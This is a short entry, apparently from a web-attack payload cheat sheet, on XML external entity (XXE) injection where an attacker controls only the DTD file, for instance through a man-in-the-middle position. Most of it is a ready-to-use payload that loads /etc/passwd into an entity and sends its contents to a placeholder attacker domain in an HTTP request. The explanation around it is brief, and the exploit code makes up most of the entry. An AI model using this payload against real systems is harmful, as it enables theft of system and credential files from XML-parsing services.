XXE Injection: XXE Inside DTD file
Most XXE payloads detailed above require control over both the DTD or DOCTYPE block as well as the xml file.
In rare situations, you may only control the DTD file and won't be able to modify the xml file. For example, a MITM.
When all you control is the DTD file, and you do not control the xml file, XXE may still be possible with this payload.
<!-- Load the contents of a sensitive file into a variable -->
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!-- Use that variable to construct an HTTP get request with the file contents in the URL -->
<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://[ATTACKER.DOMAIN.TLD]/x=%payload;">'>
%param1;
%external;
Comments
No comments yet.